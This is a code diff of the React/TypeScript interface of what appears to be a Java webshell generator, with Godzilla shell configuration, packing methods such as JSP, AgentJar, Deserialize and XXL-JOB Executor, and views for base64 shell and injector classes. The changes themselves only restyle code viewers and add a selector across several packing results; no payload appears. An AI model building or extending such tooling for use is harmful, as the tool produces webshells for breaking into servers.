<Button variant="ghost" size="icon" type="button" className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4">
{hasCopied ? <Check /> : <Copy />}
</Button>
</CopyToClipboard>
);
@@ -47,41 +39,57 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props
export function CodeViewer({
code,
header,
language,
height,
showLineNumbers = true,
wrapLongLines = false,
height = 500,
}: {
code: string;
language: string;
showLineNumbers?: boolean;
wrapLongLines?: boolean;
height?: number;
}) {
wrapLongLines = true,
}: CodeViewerProps) {
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
: undefined;
return (
<div className="relative overflow-hidden text-xs wrap-all">
<CopyButton value={code} className="absolute right-4 top-2" />
<SyntaxHighlighter
language={language}
style={materialDark}
showLineNumbers={showLineNumbers}
wrapLongLines={wrapLongLines}
lineProps={lineProps}
customStyle={{
margin: 0,
paddingRight: showLineNumbers ? 0 : 24,
paddingLeft: showLineNumbers ? 0 : 24,
borderRadius: "var(--radius)",
height: height,
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
overflowWrap: wrapLongLines ? "normal" : "break-word",
}}
>
{code}
</SyntaxHighlighter>
<div className="rounded-lg border">
{header && (
<div className="flex items-center justify-between border-b p-2">
{header}
<CopyButton value={code} variant="ghost" size="sm" />
</div>
)}
{!header && (
<div className="flex items-center justify-end border-b p-2">
<CopyButton value={code} variant="ghost" size="sm" />
</div>
)}
<div className="relative overflow-hidden text-xs wrap-all">
<SyntaxHighlighter
language={language}
style={materialDark}
showLineNumbers={showLineNumbers}
wrapLongLines={wrapLongLines}
lineProps={lineProps}
customStyle={{
margin: 0,
padding: showLineNumbers ? 0 : "1em 1em",
borderRadius: "0 0 var(--radius) var(--radius)",
height: height,
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
overflowWrap: wrapLongLines ? "normal" : "break-word",
}}
>
{code}
</SyntaxHighlighter>
</div>
</div>
);
}
interface CodeViewerProps {
code: string;
language: string;
header?: ReactNode;
height?: string | number;
showLineNumbers?: boolean;
wrapLongLines?: boolean;
lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>;
}
+10 -12
View File
@@ -12,19 +12,17 @@ interface CopyableFieldProps {
}
export function CopyableField({ label, value, text }: CopyableFieldProps) {
const [copied, setCopied] = useState(false);
const [hasCopied, setHasCopied] = useState(false);
const copyToClipboard = useCallback(() => {
if (typeof value === "string") {
navigator.clipboard.writeText(value).then(() => {
setCopied(true);
toast.success(`复制${label}成功`, {
duration: 1000,
});
setTimeout(() => setCopied(false), 1000);
});
}
}, [value, label]);
setHasCopied(true);
toast.success(`复制${label}成功`, {
duration: 1000,
});
setTimeout(() => {
setHasCopied(false);
}, 1000);
}, [label]);
return (
<div className="flex items-center justify-between h-9">
@@ -35,7 +33,7 @@ export function CopyableField({ label, value, text }: CopyableFieldProps) {
{value && (
<CopyToClipboard text={value as string} onCopy={copyToClipboard}>
<Button variant="ghost" size="icon" type="button">
{copied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
</Button>
</CopyToClipboard>
)}
+109 -19
View File
@@ -15,6 +15,7 @@ import {
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
import { Button } from "@/components/ui/button.tsx";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select";
import { Separator } from "@/components/ui/separator.tsx";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
import { downloadBytes } from "@/lib/utils.ts";
@@ -24,8 +25,9 @@ import {
GenerateResult,
GodzillaShellToolConfig,
} from "@/types/shell.ts";
import { TFunction } from "i18next";
import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react";
import { Fragment } from "react";
import { Fragment, useState } from "react";
import { useTranslation } from "react-i18next";
import { toast } from "sonner";
@@ -219,14 +221,111 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
);
}
export function ShellResult({
packResult,
function MultiPackResult({
allPackResults,
packMethod,
generateResult,
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
t,
}: {
allPackResults: object | undefined;
packMethod: string;
t: TFunction;
}) {
const showCode = packMethod === "JSP";
const packMethods = Object.keys(allPackResults ?? {});
const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "");
return (
<Fragment>
<CodeViewer
code={packResult ?? ""}
header={
<div className="flex items-center justify-between text-xs gap-2">
<Select
onValueChange={(value) => {
setSelectedMethod(value);
setPackResult(allPackResults?.[value as keyof typeof allPackResults] ?? "");
}}
value={selectedMethod}
>
<SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
<span className="text-muted-foreground">{t("packageConfig.title")}:&nbsp;</span>
<SelectValue />
</SelectTrigger>
<SelectContent>
{packMethods.map((method) => (
<SelectItem key={method} value={method} className="text-xs">
{method}
</SelectItem>
))}
</SelectContent>
</Select>
<span className="text-muted-foreground">({packResult?.length})</span>
</div>
}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
height={350}
/>
</Fragment>
);
}
function renderResultComponent(
packResult: string | undefined,
allPackResults: Map<string, string> | undefined,
packMethod: string,
t: TFunction,
generateResult?: GenerateResult,
) {
const showCode = packMethod === "JSP";
const isAgent = packMethod.startsWith("Agent");
const isJar = packMethod === "Jar";
if (allPackResults) {
return <MultiPackResult allPackResults={allPackResults} packMethod={packMethod} t={t} />;
}
if (isAgent) {
return <AgentResult packResult={packResult ?? ""} generateResult={generateResult} />;
}
if (isJar) {
return <JarResult packResult={packResult ?? ""} generateResult={generateResult} />;
}
if (!isAgent && !isJar) {
return (
<Fragment>
<CodeViewer
code={packResult ?? ""}
header={
<div className="flex items-center justify-between text-xs gap-2">
<span>
{t("packageConfig.title")}{packMethod}
</span>
<span className="text-muted-foreground">({packResult?.length})</span>
</div>
}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
height={350}
/>
</Fragment>
);
}
return null;
}
export function ShellResult({
packResult,
allPackResults,
packMethod,
generateResult,
}: {
packResult: string | undefined;
allPackResults: Map<string, string> | undefined;
packMethod: string;
generateResult?: GenerateResult;
}) {
const { t } = useTranslation();
return (
<Fragment>
@@ -241,20 +340,7 @@ export function ShellResult({
<div className="mb-4">
<BasicInfo generateResult={generateResult} />
</div>
{!isAgent && !isJar && (
<Fragment>
<div className="flex items-center justify-end text-sm text-muted-foreground">({packResult.length})</div>
<CodeViewer
code={packResult}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
height={400}
/>
</Fragment>
)}
{isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />}
{isJar && <JarResult packResult={packResult} generateResult={generateResult} />}
{renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)}
</TabsContent>
<TabsContent value="shell" className="mt-4">
<Alert>
@@ -281,7 +367,9 @@ export function ShellResult({
</div>
<CodeViewer
showLineNumbers={false}
header={<div className="text-xs">{generateResult?.shellClassName}</div>}
wrapLongLines={true}
height={600}
code={generateResult?.shellBytesBase64Str ?? ""}
language="text"
/>
@@ -312,6 +400,8 @@ export function ShellResult({
<CodeViewer
showLineNumbers={false}
wrapLongLines={true}
header={<div className="text-xs">{generateResult?.injectorClassName}</div>}
height={600}
code={generateResult?.injectorBytesBase64Str ?? ""}
language="text"
/>
+1 -1
View File
@@ -60,7 +60,7 @@ export const resources = {
AgentJar: "AgentJar",
Deserialize: "Deserialize(Only CB4, 1.9.x)",
ScriptEngine: "ScriptEngine",
XxlJob: "XXL-JOB Executor"
XxlJob: "XXL-JOB Executor",
},
},
tips: {
+9 -2
View File
@@ -53,7 +53,8 @@ function IndexComponent() {
},
});
const [packResult, setPackResult] = useState<string>("");
const [packResult, setPackResult] = useState<string | undefined>();
const [allPackResults, setAllPackResults] = useState<Map<string, string> | undefined>();
const [generateResult, setGenerateResult] = useState<GenerateResult>();
const [packMethod, setPackMethod] = useState<string>("");
const [isActionPending, startTransition] = useTransition();
@@ -98,6 +99,7 @@ function IndexComponent() {
if (response.ok) {
const json: GenerateResponse = await response.json();
setPackResult(json.packResult);
setAllPackResults(json.allPackResults);
setGenerateResult(json.generateResult);
setPackMethod(values.packingMethod);
toast.success(t("success.generated"));
@@ -124,7 +126,12 @@ function IndexComponent() {
</Button>
</div>
<div className="w-full xl:w-1/2 space-y-4">
<ShellResult packMethod={packMethod} generateResult={generateResult} packResult={packResult} />
<ShellResult
packMethod={packMethod}
generateResult={generateResult}
packResult={packResult}
allPackResults={allPackResults}
/>
</div>
</form>
</Form>
+2 -1
View File
@@ -61,8 +61,9 @@ export interface MainConfig {
export type PackerConfig = Array<string>;
export interface GenerateResponse {
packResult: string;
generateResult: GenerateResult;
packResult?: string;
allPackResults?: Map<string, string>;
}
export interface APIErrorResponse {